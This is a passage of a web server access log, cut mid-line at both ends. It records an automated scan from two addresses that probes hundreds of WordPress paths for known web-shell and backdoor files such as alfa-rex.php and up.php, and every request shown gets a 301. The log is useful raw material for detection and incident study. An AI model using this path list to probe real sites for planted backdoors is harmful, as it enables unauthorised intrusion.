/wp-admin/css/colors/blue/locale.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /roundcube/static/common/user/uedit/php/controller.php?action=catchimage HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:53 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /wp-content/plugins/dos2unix/dos2unix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /wp-includes/PHPailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /wp-admin/includes/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:53 -0400] "GET /loger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /wp-includes/sitemaps/providers/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:54 -0400] "GET /gank.php.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:54 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-admin/js/91.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-includes/PHPMailer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:54 -0400] "GET /wp.php?Chitoge HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-admin/maint/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:54 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-includes/ID3/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-includes/IXR/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-admin/css/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-admin/css/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-includes/images/crystal/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:54 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-content/uploads/configure.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:55 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-admin/js/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-admin/css/colors/ocean/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-includes/rest-api/search/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-content/plugins/xwp/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-admin/maint/thems.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-admin/includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-class-inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-includes/cof.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-admin/maint/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-content/view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-admin/includes/translation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:55 -0400] "GET /wp-admin/user/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wsoyanzfv3.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-content/plugins/instabuilder2/cache/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /js/kcfinder/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /.well-known/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /files/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /files/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-admin/css/acces.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-content/plugins/wpyii2/wpyii2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-admin/maint/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-content/uploads/2014/06/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-includes/css/str_replace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-content/plugins/wpputty/wpputty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-includes/IXR/class-IXR-http.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-admin/css/colors/midnight/strcmp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-content/plugins/dos2unix/dos2unix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-admin/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-admin/includes/sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:56 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-includes/sitemaps/providers/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-includes/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:57 -0400] "GET /assets/library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-admin/js/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-admin/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-includes/PHPMailer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-admin/css/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-admin/maint/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-includes/images/crystal/option.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:57 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 